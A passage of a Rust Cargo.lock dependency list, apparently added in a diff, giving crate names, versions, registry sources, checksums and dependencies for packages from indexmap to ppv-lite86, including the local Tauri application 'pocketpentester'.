= "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", + "serde", +] + +[[package]] +name = "indexmap" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +dependencies = [ + "equivalent", + "hashbrown 0.17.0", + "serde", + "serde_core", +] + +[[package]] +name = "infer" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a588916bfdfd92e71cacef98a63d9b1f0d74d6599980d11894290e7ddefffcf7" +dependencies = [ + "cfb", +] + +[[package]] +name = "ipconfig" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d40460c0ce33d6ce4b0630ad68ff63d6661961c48b6dba35e5a4d81cfb48222" +dependencies = [ + "socket2", + "widestring", + "windows-registry", + "windows-result 0.4.1", + "windows-sys 0.61.2", +] + +[[package]] +name = "ipnet" +version = "2.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" + +[[package]] +name = "iri-string" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25e659a4bb38e810ebc252e53b5814ff908a8c58c2a9ce2fae1bbec24cbf4e20" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "is-docker" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "928bae27f42bc99b60d9ac7334e3a21d10ad8f1835a4e12ec3ec0464765ed1b3" +dependencies = [ + "once_cell", +] + +[[package]] +name = "is-wsl" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "173609498df190136aa7dea1a91db051746d339e18476eed5ca40521f02d7aa5" +dependencies = [ + "is-docker", + "once_cell", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "javascriptcore-rs" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca5671e9ffce8ffba57afc24070e906da7fc4b1ba66f2cabebf61bf2ea257fcc" +dependencies = [ + "bitflags 1.3.2", + "glib", + "javascriptcore-rs-sys", +] + +[[package]] +name = "javascriptcore-rs-sys" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af1be78d14ffa4b75b66df31840478fef72b51f8c2465d4ca7c194da9f7a5124" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "jni" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97" +dependencies = [ + "cesu8", + "cfg-if", + "combine", + "jni-sys 0.3.1", + "log", + "thiserror 1.0.69", + "walkdir", + "windows-sys 0.45.0", +] + +[[package]] +name = "jni-sys" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41a652e1f9b6e0275df1f15b32661cf0d4b78d4d87ddec5e0c3c20f097433258" +dependencies = [ + "jni-sys 0.4.1", +] + +[[package]] +name = "jni-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6377a88cb3910bee9b0fa88d4f42e1d2da8e79915598f65fb0c7ee14c878af2" +dependencies = [ + "jni-sys-macros", +] + +[[package]] +name = "jni-sys-macros" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38c0b942f458fe50cdac086d2f946512305e5631e720728f2a61aabcd47a6264" +dependencies = [ + "quote", + "syn 2.0.117", +] + +[[package]] +name = "js-sys" +version = "0.3.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2964e92d1d9dc3364cae4d718d93f227e3abb088e747d92e0395bfdedf1c12ca" +dependencies = [ + "cfg-if", + "futures-util", + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "json-patch" +version = "3.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "863726d7afb6bc2590eeff7135d923545e5e964f004c2ccf8716c25e70a86f08" +dependencies = [ + "jsonptr", + "serde", + "serde_json", + "thiserror 1.0.69", +] + +[[package]] +name = "jsonptr" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5dea2b27dd239b2556ed7a25ba842fe47fd602e7fc7433c2a8d6106d4d9edd70" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "keyboard-types" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b750dcadc39a09dbadd74e118f6dd6598df77fa01df0cfcdc52c28dece74528a" +dependencies = [ + "bitflags 2.11.1", + "serde", + "unicode-segmentation", +] + +[[package]] +name = "kuchikiki" +version = "0.8.8-speedreader" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02cb977175687f33fa4afa0c95c112b987ea1443e5a51c8f8ff27dc618270cc2" +dependencies = [ + "cssparser 0.29.6", + "html5ever 0.29.1", + "indexmap 2.14.0", + "selectors 0.24.0", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "libappindicator" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03589b9607c868cc7ae54c0b2a22c8dc03dd41692d48f2d7df73615c6a95dc0a" +dependencies = [ + "glib", + "gtk", + "gtk-sys", + "libappindicator-sys", + "log", +] + +[[package]] +name = "libappindicator-sys" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e9ec52138abedcc58dc17a7c6c0c00a2bdb4f3427c7f63fa97fd0d859155caf" +dependencies = [ + "gtk-sys", + "libloading", + "once_cell", +] + +[[package]] +name = "libc" +version = "0.2.185" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ff2c0fe9bc6cb6b14a0592c2ff4fa9ceb83eea9db979b0487cd054946a2b8f" + +[[package]] +name = "libloading" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f" +dependencies = [ + "cfg-if", + "winapi", +] + +[[package]] +name = "libredox" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e02f3bb43d335493c96bf3fd3a321600bf6bd07ed34bc64118e9293bdffea46c" +dependencies = [ + "libc", +] + +[[package]] +name = "linked-hash-map" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" + +[[package]] +name = "litrs" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11d3d7f243d5c5a8b9bb5d6dd2b1602c0cb0b9db1621bafc7ed66e35ff9fe092" + +[[package]] +name = "local-ip-address" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4a59a0cb1c7f84471ad5cd38d768c2a29390d17f1ff2827cdf49bc53e8ac70b" +dependencies = [ + "libc", + "neli", + "windows-sys 0.61.2", +] + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "lru-cache" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e24f1ad8321ca0e8a1e0ac13f23cb668e6f5466c2c57319f6a5cf1cc8e3b1c" +dependencies = [ + "linked-hash-map", +] + +[[package]] +name = "lru-slab" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154" + +[[package]] +name = "mac" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" + +[[package]] +name = "markup5ever" +version = "0.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7a7213d12e1864c0f002f52c2923d4556935a43dec5e71355c2760e0f6e7a18" +dependencies = [ + "log", + "phf 0.11.3", + "phf_codegen 0.11.3", + "string_cache 0.8.9", + "string_cache_codegen 0.5.4", + "tendril 0.4.3", +] + +[[package]] +name = "markup5ever" +version = "0.38.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8983d30f2915feeaaab2d6babdd6bc7e9ed1a00b66b5e6d74df19aa9c0e91862" +dependencies = [ + "log", + "tendril 0.5.0", + "web_atoms", +] + +[[package]] +name = "match_token" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88a9689d8d44bf9964484516275f5cd4c9b59457a6940c1d5d0ecbb94510a36b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "matches" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" + +[[package]] +name = "md5" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "mio" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50b7e5b27aa02a74bac8c3f23f448f8d87ff11f92d3aac1a6ed369ee08cc56c1" +dependencies = [ + "libc", + "wasi 0.11.1+wasi-snapshot-preview1", + "windows-sys 0.61.2", +] + +[[package]] +name = "muda" +version = "0.17.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c9fec5a4e89860383d778d10563a605838f8f0b2f9303868937e5ff32e86177" +dependencies = [ + "crossbeam-channel", + "dpi", + "gtk", + "keyboard-types", + "objc2", + "objc2-app-kit", + "objc2-core-foundation", + "objc2-foundation", + "once_cell", + "png", + "serde", + "thiserror 2.0.18", + "windows-sys 0.60.2", +] + +[[package]] +name = "ndk" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3f42e7bbe13d351b6bead8286a43aac9534b82bd3cc43e47037f012ebfd62d4" +dependencies = [ + "bitflags 2.11.1", + "jni-sys 0.3.1", + "log", + "ndk-sys", + "num_enum", + "raw-window-handle", + "thiserror 1.0.69", +] + +[[package]] +name = "ndk-context" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" + +[[package]] +name = "ndk-sys" +version = "0.6.0+11769913" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee6cda3051665f1fb8d9e08fc35c96d5a244fb1be711a03b71118828afc9a873" +dependencies = [ + "jni-sys 0.3.1", +] + +[[package]] +name = "neli" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22f9786d56d972959e1408b6a93be6af13b9c1392036c5c1fafa08a1b0c6ee87" +dependencies = [ + "bitflags 2.11.1", + "byteorder", + "derive_builder", + "getset", + "libc", + "log", + "neli-proc-macros", + "parking_lot", +] + +[[package]] +name = "neli-proc-macros" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05d8d08c6e98f20a62417478ebf7be8e1425ec9acecc6f63e22da633f6b71609" +dependencies = [ + "either", + "proc-macro2", + "quote", + "serde", + "syn 2.0.117", +] + +[[package]] +name = "new_debug_unreachable" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" + +[[package]] +name = "nodrop" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "num-bigint" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-conv" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6673768db2d862beb9b39a78fdcb1a69439615d5794a1be50caa9bc92c81967" + +[[package]] +name = "num-integer" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_enum" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d0bca838442ec211fa11de3a8b0e0e8f3a4522575b5c4c06ed722e005036f26" +dependencies = [ + "num_enum_derive", + "rustversion", +] + +[[package]] +name = "num_enum_derive" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "680998035259dcfcafe653688bf2aa6d3e2dc05e98be6ab46afb089dc84f1df8" +dependencies = [ + "proc-macro-crate 3.5.0", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "objc2" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a12a8ed07aefc768292f076dc3ac8c48f3781c8f2d5851dd3d98950e8c5a89f" +dependencies = [ + "objc2-encode", + "objc2-exception-helper", +] + +[[package]] +name = "objc2-app-kit" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d49e936b501e5c5bf01fda3a9452ff86dc3ea98ad5f283e1455153142d97518c" +dependencies = [ + "bitflags 2.11.1", + "block2", + "objc2", + "objc2-core-foundation", + "objc2-foundation", +] + +[[package]] +name = "objc2-core-foundation" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536" +dependencies = [ + "bitflags 2.11.1", + "dispatch2", + "objc2", +] + +[[package]] +name = "objc2-core-graphics" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807" +dependencies = [ + "bitflags 2.11.1", + "dispatch2", + "objc2", + "objc2-core-foundation", + "objc2-io-surface", +] + +[[package]] +name = "objc2-encode" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33" + +[[package]] +name = "objc2-exception-helper" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7a1c5fbb72d7735b076bb47b578523aedc40f3c439bea6dfd595c089d79d98a" +dependencies = [ + "cc", +] + +[[package]] +name = "objc2-foundation" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272" +dependencies = [ + "bitflags 2.11.1", + "block2", + "objc2", + "objc2-core-foundation", +] + +[[package]] +name = "objc2-io-surface" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d" +dependencies = [ + "bitflags 2.11.1", + "objc2", + "objc2-core-foundation", +] + +[[package]] +name = "objc2-quartz-core" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f" +dependencies = [ + "bitflags 2.11.1", + "objc2", + "objc2-core-foundation", + "objc2-foundation", +] + +[[package]] +name = "objc2-ui-kit" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22" +dependencies = [ + "bitflags 2.11.1", + "objc2", + "objc2-core-foundation", + "objc2-foundation", +] + +[[package]] +name = "objc2-web-kit" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2e5aaab980c433cf470df9d7af96a7b46a9d892d521a2cbbb2f8a4c16751e7f" +dependencies = [ + "bitflags 2.11.1", + "block2", + "objc2", + "objc2-app-kit", + "objc2-core-foundation", + "objc2-foundation", +] + +[[package]] +name = "oid-registry" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12f40cff3dde1b6087cc5d5f5d4d65712f34016a03ed60e9c08dcc392736b5b7" +dependencies = [ + "asn1-rs", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "open" +version = "5.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43bb73a7fa3799b198970490a51174027ba0d4ec504b03cd08caf513d40024bc" +dependencies = [ + "dunce", + "is-wsl", + "libc", + "pathdiff", +] + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "ordered-stream" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "pango" +version = "0.18.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ca27ec1eb0457ab26f3036ea52229edbdb74dee1edd29063f5b9b010e7ebee4" +dependencies = [ + "gio", + "glib", + "libc", + "once_cell", + "pango-sys", +] + +[[package]] +name = "pango-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "parking" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link 0.2.1", +] + +[[package]] +name = "pathdiff" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df94ce210e5bc13cb6651479fa48d14f601d9858cfe0467f43ae157023b938d3" + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "phf" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12" +dependencies = [ + "phf_shared 0.8.0", +] + +[[package]] +name = "phf" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" +dependencies = [ + "phf_macros 0.10.0", + "phf_shared 0.10.0", + "proc-macro-hack", +] + +[[package]] +name = "phf" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd6780a80ae0c52cc120a26a1a42c1ae51b247a253e4e06113d23d2c2edd078" +dependencies = [ + "phf_macros 0.11.3", + "phf_shared 0.11.3", +] + +[[package]] +name = "phf" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1562dc717473dbaa4c1f85a36410e03c047b2e7df7f45ee938fbef64ae7fadf" +dependencies = [ + "phf_macros 0.13.1", + "phf_shared 0.13.1", + "serde", +] + +[[package]] +name = "phf_codegen" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", +] + +[[package]] +name = "phf_codegen" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aef8048c789fa5e851558d709946d6d79a8ff88c0440c587967f8e94bfb1216a" +dependencies = [ + "phf_generator 0.11.3", + "phf_shared 0.11.3", +] + +[[package]] +name = "phf_codegen" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49aa7f9d80421bca176ca8dbfebe668cc7a2684708594ec9f3c0db0805d5d6e1" +dependencies = [ + "phf_generator 0.13.1", + "phf_shared 0.13.1", +] + +[[package]] +name = "phf_generator" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526" +dependencies = [ + "phf_shared 0.8.0", + "rand 0.7.3", +] + +[[package]] +name = "phf_generator" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" +dependencies = [ + "phf_shared 0.10.0", + "rand 0.8.5", +] + +[[package]] +name = "phf_generator" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c80231409c20246a13fddb31776fb942c38553c51e871f8cbd687a4cfb5843d" +dependencies = [ + "phf_shared 0.11.3", + "rand 0.8.5", +] + +[[package]] +name = "phf_generator" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "135ace3a761e564ec88c03a77317a7c6b80bb7f7135ef2544dbe054243b89737" +dependencies = [ + "fastrand", + "phf_shared 0.13.1", +] + +[[package]] +name = "phf_macros" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58fdf3184dd560f160dd73922bea2d5cd6e8f064bf4b13110abd81b03697b4e0" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", + "proc-macro-hack", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "phf_macros" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f84ac04429c13a7ff43785d75ad27569f2951ce0ffd30a3321230db2fc727216" +dependencies = [ + "phf_generator 0.11.3", + "phf_shared 0.11.3", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "phf_macros" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812f032b54b1e759ccd5f8b6677695d5268c588701effba24601f6932f8269ef" +dependencies = [ + "phf_generator 0.13.1", + "phf_shared 0.13.1", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "phf_shared" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7" +dependencies = [ + "siphasher 0.3.11", +] + +[[package]] +name = "phf_shared" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" +dependencies = [ + "siphasher 0.3.11", +] + +[[package]] +name = "phf_shared" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67eabc2ef2a60eb7faa00097bd1ffdb5bd28e62bf39990626a582201b7a754e5" +dependencies = [ + "siphasher 1.0.2", +] + +[[package]] +name = "phf_shared" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e57fef6bc5981e38c2ce2d63bfa546861309f875b8a75f092d1d54ae2d64f266" +dependencies = [ + "siphasher 1.0.2", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "piper" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c835479a4443ded371d6c535cbfd8d31ad92c5d23ae9770a61bc155e4992a3c1" +dependencies = [ + "atomic-waker", + "fastrand", + "futures-io", +] + +[[package]] +name = "pkg-config" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e" + +[[package]] +name = "plist" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "740ebea15c5d1428f910cd1a5f52cebf8d25006245ed8ade92702f4943d91e07" +dependencies = [ + "base64 0.22.1", + "indexmap 2.14.0", + "quick-xml", + "serde", + "time", +] + +[[package]] +name = "png" +version = "0.17.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82151a2fc869e011c153adc57cf2789ccb8d9906ce52c0b39a6b5697749d7526" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide", +] + +[[package]] +name = "pocketpentester" +version = "0.1.0" +dependencies = [ + "anyhow", + "base64 0.22.1", + "futures", + "hickory-resolver", + "hmac", + "local-ip-address", + "md5", + "once_cell", + "rand 0.8.5", + "regex", + "reqwest 0.12.28", + "rustls", + "rustls-pki-types", + "serde", + "serde_json", + "serde_yaml", + "sha2", + "tauri", + "tauri-build", + "tauri-plugin-opener", + "tokio", + "tokio-rustls", + "url", + "urlencoding", + "walkdir", + "x509-parser", +] + +[[package]] +name = "polling" +version = "3.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d0e4f59085d47d8241c88ead0f274e8a0cb551f3625263c05eb8dd897c34218" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi", + "pin-project-lite", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "potential_utf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564" +dependencies = [ + "zerovec", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] 